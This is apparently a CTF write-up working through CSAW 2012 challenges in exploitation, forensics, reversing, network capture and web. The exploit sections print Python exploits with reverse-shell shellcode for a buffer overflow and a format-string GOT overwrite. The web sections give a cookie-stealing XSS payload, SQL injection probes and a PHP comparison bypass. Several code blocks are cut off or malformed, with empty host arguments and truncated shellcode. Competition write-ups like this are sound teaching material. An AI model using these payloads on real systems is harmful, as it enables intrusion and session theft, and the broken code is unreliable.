.text:08048D83                 mov     eax, 0
.text:08048D88                 jmp     short loc_8048DBB

The key is grabbed in the “handle” function, where the interesting stuff is. So the point of this snippet, we can’t run as root. Gettingg into the handle function, it compares to this:

.text:08048980 mov     [esp+4], eax    ; buf
.text:08048984 mov     eax, [ebp+fd]
.text:08048987 mov     [esp], eax      ; fd
.text:0804898A call    _recv
.text:0804898F mov     [ebp+var_D], 0
.text:08048993 mov     dword ptr [esp+4], offset secret ; "AAAAAAAAAAAAAAAAAAAAAAAAAA\n"
.text:0804899B lea     eax, [ebp+buf]
.text:080489A1 mov     [esp], eax      ; s1
.text:080489A4 call    _

Then it reads from a file called “./key” and sends the contents (at least the first word) back. I just sent the As and it sent me back the key from the file.

Wecome to my first CS project.
Please type your name:  thisismysecretkeyAAAAAAAA

Exploits 300

Problem: exploit300

There is a bunch of signal stuff that breaks up the execution flow. To debug, I made sure to modify how gdb handled signals being thrown at it, using the “signal” command. Also, how I debug remote processes is I set follow-fork-mode child. That way I can see where it’s crashing. Other people sometimes do this by patching the fork with nops, which is also an option.

Right off, the program exits if there isn’t a user named “liotian”, so if running locally this user needs to be added. But after you have the user and if you’re ignoring signals, it’s a straightforward buffer overflow. I just sent metasploit’s ./pattern_create.rb at it and found the offset it crashed at using pattern_offset. Also, I had to subtract a bit off of esp in my shellcode since metasploit’s encoding needs the stack, and in this case the stack was corrupted by being too close to eip. To adjust the stack I add “\x81\xC4\x3E\xFE\xFF\xFF” to the top which is opcodes for “add esp, -450”. (by the way, another handy tool is metasploit’s ./nasm_shell, which I use quite a bit to turn assembly to opcodes)


import socket
import argparse
import struct

# msfvenom -p linux/x86/shell/reverse_tcp LHOST= -b '\x00' -e x86/shikata_ga_nai
shellcode = (
"\x81\xC4\x3E\xFE\xFF\xFF" + #adjust esp
"\xdb\xc7\xbe\x75\xd1\xf5\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x14\x31\x73\x19\x83\xeb\xfc\x03\x73\x15\x97\x24\xc4" +
"\x1d\xa0\x24\x74\xe1\x1d\xc1\x79\x6c\x40\xa5\x18\xa3\x02" +
"\x9d\xba\x69\x6a\x20\x43\x9f\x36\x4e\x53\xce\x96\x07\xb2" +
"\x9a\x70\x40\xf8\xdb\xf5\x31\x06\x6f\x01\x02\x60\x42\x89" +
"\x21\xdd\x3a\x44\x25\x8e\x9a\x3c\x19\xe9\xd1\x40\x2c\x70" +
"\x12\x28\x80\xad\x91\xc0\xb6\x9e\x37\x79\x29\x68\x54\x29" +


print len(shellcode)

parser = argparse.ArgumentParser()
parser.add_argument("--host", default="")
parser.add_argument("--port", default=4842 )
args = parser.parse_args()

jmpesp = struct.pack("<I", 0x08048fbb)

payload = "A" * 326 + jmpesp + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((, args.port))
data = s.sendall(payload)

Exploit 400

Problem: Exploit400

This is a clear format string vulnerability. In gdb just set follow-fork-mode child and see the process crash with %n. This happens at:

08048BFE call    _snprintf

We can get an arbitrary overwrite at the close got address that’s called pretty soon after

.got.plt:0804B064 off_804B064     dd offset close    

so the location where we want to overwrite to control eip is 0804B064

let’s see where our format is coming from:

.text:08048BE9 mov     [esp+8], eax    ; format
.text:08048BED mov     dword ptr [esp+4], 3FFh ; maxlen
.text:08048BF5 lea     eax, [ebp+s]
.text:08048BFB mov     [esp], eax      ; s
.text:08048BFE call    _snprintf

setting a breakpoint, this is 0x804b120, which is

(gdb) maintenance info sections 
Exec file:
    `/home/mopey/exploit400', file type elf32-i386.
    0x8048154->0x8048167 at 0x00000154: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048168->0x8048188 at 0x00000168: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804b080->0x804b0e8 at 0x00002080: .data ALLOC LOAD DATA HAS_CONTENTS
    0x804b100->0x804b320 at 0x000020e8: .bss ALLOC
    0x0000->0x002a at 0x000020e8: .comment READONLY HAS_CONTENTS

so oour format string is in .bss, which is also marked as executable and won’t vary like the stack would. Here’s the final exploit


import socket
import argparse
import struct

# msfvenom -p linux/x86/shell/reverse_tcp LHOST= -b '\x00' -e x86/shikata_ga_nai
shellcode = (
"\xdb\xc7\xbe\x75\xd1\xf5\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x14\x31\x73\x19\x83\xeb\xfc\x03\x73\x15\x97\x24\xc4" +
"\x1d\xa0\x24\x74\xe1\x1d\xc1\x79\x6c\x40\xa5\x18\xa3\x02" +
"\x9d\xba\x69\x6a\x20\x43\x9f\x36\x4e\x53\xce\x96\x07\xb2" +
"\x9a\x70\x40\xf8\xdb\xf5\x31\x06\x6f\x01\x02\x60\x42\x89" +
"\x21\xdd\x3a\x44\x25\x8e\x9a\x3c\x19\xe9\xd1\x40\x2c\x70" +
"\x12\x28\x80\xad\x91\xc0\xb6\x9e\x37\x79\x29\x68\x54\x29" +

parser = argparse.ArgumentParser()
parser.add_argument("--host", default="")
parser.add_argument("--port", default=23456 )
args = parser.parse_args() send
owLocation = 0x0804B068
owValue = 0x804b145

def createFmt(owValue, owLocation):
	HOB = owValue >> 16
	LOB = owValue & 0xffff
	if HOB < LOB:
		payload = struct.pack("<I", owLocation + 2)
		payload += struct.pack("<I", owLocation)
		payload += "%." + str(HOB -8) + "x"
		payload += "%5$hn"
		payload += "%." + str(LOB-HOB) + "x"
		payload += "%6$hn"
		payload = struct.pack("<I", owLocation + 2)
		payload += struct.pack("<I", owLocation)
		payload += "%." + str(LOB -8) + "x"
		payload += "%6$hn"
		payload += "%." + str(HOB-LOB) + "x"
		payload += "%5$hn"
	return payload

payload = createFmt(owValue, owLocation)
payload += "\x90" * 30
payload += "\xcc"
payload += shellcode
payload += "\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((, args.port))
data = s.recv(1024)
print data
while data != "":
	data = s.recv(1024)
	print data,

There’s also some detection of /bin/sh and stuff, but since my shellcode was generated all of these were hidden automatically for me.

Forensics 100, 200

Files: Forensics100, Forensics200

To solve these, I first used strings to find a bunch of stuff that looked like this.

key{rodney danielle}
key{matthieu blayne}

I know nothing about PNGs, but searching online for these tEXT sections I stumbled across a tool called pngcheck.

For number 200 I tried

pngcheck -7 version1.png

    key{nguyen willie}
    key{takeuchi gregory}
version1.png  CRC error in chunk tEXt (computed 5005ed3c, expected 26594131)

and takeuchi gregory is the only one with a tEXT chunk checksum error, and also the key. In forensics 200, it’s almost the same except for the key is the only tEXT chunk without an error.

pngcheck -7 -f version2.png  |less

    key{donnie winston}
version2.png  CRC error in chunk tEXt (computed 1bc013c9, expected c913c01b)
    key{jeremy socorrito}
version2.png  CRC error in chunk tEXt (computed bcb8529b, expected 9b52b8bc)
    key{johnnie tigger}
(no error)

Reversing 100

Problem: Rev100

This is a Window’s executable. There’s this main function that prints the encrypted key and ends, and then there’s a decryption function that’s never reached. You can’t see it in graph mode, but in text mode this function is clear.

ext:004010EE                 add     esp, 8
.text:004010F1                 push    0               ; uType
.text:004010F3                 push    offset Caption  ; "Key!"
.text:004010F8                 lea     ecx, [ebp+Text]
.text:004010FB                 push    ecx             ; lpText
.text:004010FC                 push    0               ; hWnd
.text:004010FE                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
.text:00401104                 push    0FFFFFFFFh      ; Code
.text:00401106                 call    ds:__imp__exit
.text:00401106 main            endp
.text:0040110C ; ---------------------------------------------------------------------------
.text:0040110C                 lea     edx, [ebp-18h]
.text:0040110F                 push    edx
.text:00401110                 call    decrypt
.text:00401115                 add     esp, 4
.text:00401118                 push    offset aDecryptedKey ; "Decrypted Key:  "
.text:0040111D                 lea     eax, [ebp-58h]
.text:00401120                 push    eax
.text:00401121                 call    _strcpy
.text:00401126                 add     esp, 8
.text:00401129                 lea     ecx, [ebp-18h]
.text:0040112C                 push    ecx
.text:0040112D                 lea     edx, [ebp-58h]
.text:00401130                 push    edx
.text:00401131                 call    _strcat
.text:00401136                 add     esp, 8
.text:00401139                 push    0
.text:0040113B                 push    offset aKey     ; "Key!"
.text:00401140                 lea     eax, [ebp-58h]
.text:00401143                 push    eax
.text:00401144                 push    0
.text:00401146                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
.text:0040114C                 push    0
.text:0040114E                 call    ds:__imp__exit

so I want to fill the exit at 00401104 with nops. I do this in windbg with

eb 00401104 90 90 90 90 90 90 90 90

then I run the program, and it prints the key

Reversing 200

Problem: Rev200

This is a managed .NET windows executable. To win, you can just set a breakpoint at the end and read the key. I used windbg with the sos extensions

0:000> .loadby sos clr
0:000> !DumpStackObjects
OS Thread Id: 0xf58 (0)
ESP/REG  Object   Name
0012F244 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F2A4 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F304 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F334 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F358 00b2d4c4 System.IO.__ConsoleStream
0012F37C 00b2d4f4 System.IO.StreamReader
0012F380 00b2d4f4 System.IO.StreamReader
0012F398 00b2d4f4 System.IO.StreamReader
0012F39C 00b2d864 System.IO.TextReader+SyncTextReader
0012F3BC 00b2d864 System.IO.TextReader+SyncTextReader
0012F3E4 00b2d430 System.Char
0012F3E8 00b2d3cc System.String    The key is 9c09f8416a2206221e50b98e346047b
0012F3EC 00b2d44c System.String    The key is 9c09f8416a2206221e50b98e346047b7
0012F3F0 00b2d430 System.Char
0012F3F4 00b2d3cc System.String    The key is 9c09f8416a2206221e50b98e346047b
0012F3F8 00b2b65c System.Byte[]
0012F3FC 00b2d44c System.String    The key is 9c09f8416a2206221e50b98e346047b7
0012F410 00b2b64c System.Object[]    (System.String[])
0012F4C4 00b2b64c System.Object[]    (System.String[])
0012F66C 00b2b64c System.Object[]    (System.String[])
0012F6A0 00b2b64c System.Object[]    (System.String[])
0012F7DC 01b23250 System.Object[]    (System.Object[])
0:000> !DumpObj 00b2d44c 
Name:        System.String
MethodTable: 79b9fb08
EEClass:     798d8bb0
Size:        100(0x64) bytes
File:        C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
String:      The key is 9c09f8416a2206221e50b98e346047b7
      MT    Field   Offset                 Type VT     Attr    Value Name
79ba2ad4  4000103        4         System.Int32  1 instance       43 m_stringLength
79ba1f24  4000104        8          System.Char  1 instance       54 m_firstChar
79b9fb08  4000105        8        System.String  0   shared   static Empty
    >> Domain:Value  0015d938:00b21228 <<

Reversing 300

Problem: Rev300

Another managed .NET windows executable.

First, you need to recompile to get out the system exit that happens at the beginning. I used ilspy to disassemble and create a .csproj I could open with visual studio. Then I recompiled to edit this out. Alternatively, you could jump over it in a debugger, but I think recompiling is probably easier.

Second, I need to get out the md5hash it’s getting from program files. We need to create a file there that md5hashes to the same hash it’s comparing.


import binascii

array = [

stuff = binascii.hexlify(''.join([chr(i) for i in array]))
print stuff

This generates the md5 hash: ff97a9fdede09eaf6e1c8ec9f6a61dd5, which Googling gives us the string “Intel”. double checking:

$ echo -n "Intel" | md5sum.exe
ff97a9fdede09eaf6e1c8ec9f6a61dd5 *-

Once we have a directory c:\\program files\Intel, the program will print the key: That was pretty easy, wasn’t it? \key{6a6c4d43668404041e67f0a6dc0fe243}

Reversing 400

Problem: rev400

This is almost identical to reversing 100, except it’s a linux elf rather than a Window’s exe. I have the same strategy here. My biggest problem was figuring out how to configure gdb to write into .text sections (you do it with write, and then you have to reload the executable)

(gdb) set {char}0x0000000004006B9 = '\x90'
Cannot access memory at address 0x4006b9
(gdb) show write 
Writing into executable and core files is on.
(gdb) ex
exec-file  explore    
(gdb) exec-file ./csaw2012reversing 
(gdb) set {char}0x0000000004006B9 = '\x90'
(gdb) set {char}0x0000000004006BA = '\x90'
(gdb) set {char}0x0000000004006BB = '\x90'
(gdb) set {char}0x0000000004006BC = '\x90'
(gdb) set {char}0x0000000004006BD = '\x90'
(gdb) set {char}0x0000000004006BE = '\x90'
(gdb) set {char}0x0000000004006BF = '\x90'
(gdb) set {char}0x0000000004006C0 = '\x90'
(gdb) set {char}0x0000000004006C1 = '\x90'
(gdb) set {char}0x0000000004006C2 = '\x90'
(gdb) continue
Encrypted Key:                 
Decrypted Key:  csawissohard__:(
[Inferior 1 (process 39007) exited normally]

Net 100

Problem: net100

This was a pcap. Simply open it in wireshark, right click to follow the stream for the key.

Net 200

Problem: net200

Some dude I know is planning a party at some bar in New York! I really want to go but he’s really strict about who gets let in to the party. I managed to find this packet capture of when the dude registered the party but I don’t know what else to do. Do you think there’s any way you can find out the secret password to get into the party for me? By the way, my favorite hockey player ever is mario lemieux.


glancing through this in wireshark it looks like there are POST requests to party requests. Setting this filter:

ip.addr == and http.request.method == "POST"

looking through these, following the second one gives:


so “brooklym beat box”

Net 300

Problem: net300

Opened up the pcap in wireshark and looked at it for a while. One thing I noticed was in frame 67 it says it’s a Teensy Keyboard/Mouse. Googling for teensy keyboard gives us this site, which I thought was useful: It has a table on the front page which looks promising. Looking at the .h file gives a bunch of codes for the table…

I still wasn’t completely sure how to extract things. Presumably I want to get the keys being pressed.

I decided to try capturing my own keyboard traffic, and ended up here: This also turned out to be useful.

We can attach to the keyboard USB bus simply by observing the interfaces, and which interface gets traffic when we type. Then, attaching to the interface we can see traffic. Four “frames” happen for every key pressed. Inferring from the table given in the teensy link and knowing the key I actually pressed (e.g. “B” is 5), the keycode is clearly in the “Leftover Capture Data” at the end of the first interrupt. For example, this is a “b” being pressed.

I don’t know much about USB still, but all the other packets when I press a key seem to have a 0 at the -6th byte, so we can potentially filter on this. That’s what I did in my first attempt

from scapy.all import *

44:" ",

pkts = rdpcap("net300.pcap")
msg= ""
for packet in pkts:
	global msg
	hid_report = packet.load[-8:]
	key_code = ord(hid_report[2])
	ch = KEY_CODES.get(key_code, False)
	if ch:
		msg += ch

print msg

This prints:


I was pretty stuck here, since what appears to be the key wasn’t working. But it turns out the geometry was just off. If you sort the geometry on the C and 3 character at the end, you win.

Web 300

Problem: This is a website belonging to a horse-fighting gang. Even with an account, it’s not clear what they’re up to. Your task is to get administrator access and see if you can figure anything out. Your account is csaw_challenger/letmein123.


This web app had a SQL injection in /horse.php, but it also had a waf that was blocking UNION and SELECT. In early testing, I did a few queries like these:

#there are four columns
GET /horse.php?id=1+OR+1%3d1+ORDER+BY+5-- HTTP/1.1
GET /horse.php?id=1-(IF(MID(version(),1,1)+LIKE+5,+BENCHMARK(10000000,SHA1('true')),false)) HTTP/1.1

Someone else on my team solved this before I did, and I got pretty stuck since they said they just used a simple union. I tried various logic flows to get back to that point. I didn’t spend too much time on it though, since we had already solved it and we had unsolved network 400 (I hate you network 400). It turns out the web app was broken at the beginning of csaw (waf wasn’t working) and later they fixed the challenge. The WAF bypass was through parameter polution, and googling the first writeup I see is here:

Web 400

Problem: CryptoMat is a site where you can send encrypted messages to other users. Dog is a user on the site and has the key. Figure out how to get into his account and obtain it.


The data is just xored with this array, the key, and the previous block:

xordata = [0x17, 0x34, 0x17, 0x39, 0x11, 0x35, 0x24, 0x36]

Writing code, this should work with arbitrary keys, which becomes important later on. Here is code to encrypt or decrypt arbitrary data with arbitrary keys:

import sys
import urllib

def padArg(argv):
	while len(argv) % 8 != 0:
		argv += "\x00"
	return argv

def padKey(key, dlen):
	padKey = key
	i = 0
	while len(padKey) < dlen:
		padKey += key[i%len(key)]
		i += 1
	return padKey

xordata = [0x17, 0x34, 0x17, 0x39, 0x11, 0x35, 0x24, 0x36]

padarg = padArg(sys.argv[1])
key = sys.argv[2]
padKey = padKey(key, len(padarg))

print padKey

fstr = ""

for i in range(0, len(padarg)):
	a = ord(padarg[i]) ^ xordata[i%8] ^ ord(padKey[i])
	xordata[i%8] = (ord(padarg[i]))
	fstr += chr(a)

#dummy uriencode, because normal urilib encode seemed to break something
a = [(ord(i)) for i in fstr]
for i in a:
	i = hex(i)
	i = i[2:]
	if len(i) == 1:
		i = "0" + i
	i = "%"+i
print ""

The goal is to get DoG to execute script, which will be decrypted – so we need to encrypt Javascript that will send us the key. We want something like:

document.location="" + bdocument.cookie

Unfortunately, the javascript doesn’t seem to like quotes (or it could be an issue with my code). Regardless, we can encode it so it doesn’t need quotes using hackvertor. So then we transform this into


We then monitor on the web server to steal dog’s login. I eventually get: PHPSESSID=4ehb7kihmi774r6bf9u48h37e0, but it seems to change quickly and expires in a few minutes. Luckily I was running through burp and spidered all the pages, so the data was all in my history.

I pull back this in the inbox

                      <td>PASS PLZ</td>
                      <td><a href="download.php?id=2"><img src="res/dl.png" /></a></td>
                                  <tr class="open">
                      <td><a href="download.php?id=4"><img src="res/dl.png" /></a></td>
                                  <tr class="open">
                      <td>Your key is ILIKECARROTS</td>
                      <td><a href="download.php?id=5"><img src="res/dl.png" /></a></td>
                                  <tr class="open">
                      <td><a href="download.php?id=6"><img src="res/dl.png" /></a></td>

and this in the outbox

                      <td>Hello, this is Dog.</td>
                      <td><a href="download.php?id=1"><img src="res/dl.png" /></a></td>
                      <td><a href="delete.php?id=1"><img src="res/cross.png" /></a></td>
                                  <tr class="open">
                      <td>Ok.jpg, encoded my key with your</td>
                      <td><a href="download.php?id=3"><img src="res/dl.png" /></a></td>
                      <td><a href="delete.php?id=3"><img src="res/cross.png" /></a></td>

The interesting looking messages are:

Message 1 1c30112f5c670a12322e2b14794b1a3a151c0c2a535d281a34232e1b444528393a22367a33205b56
Message 2 1775567850746577
Message 4 1775567850746577
Message 3 1d192a013504000538330a3d112d494e
Message 5 6147614d6b495a5b
Message 6 1775567850746577

Some of the messages (ascii hex encoded):

I used the key “Ilikecarrots” to decrypt message 5, which contained the key to the previous message, all the way back to the key for submission.

Web 600

Everyone said this was easy, and it is if you know the “trick”, but I spent quite a bit of time trying timing account type attacks and stuff… Someone else on the team solved it, and this is what they have.

The code source shown in the phps is as follow :


  if ( strcasecmp( $_GET['pass'], $pass ) == 0 ) {

According to the php manual the strcasecmp function is a Binary safe case-insensitive string comparison and returns 0 if str1 is greater than str2, and 0 if they are equal.

By passing pass[] (an array) as argument like follow (even with value null) :

the strcasecmp will try comparing an array in $_GET[‘pass’] with the string declared locally called $pass.

This will lead strcasecmp to return a NULL result (not same as 0 in case of two strings equals) and in this case we will have : NULL==0 so the result will be :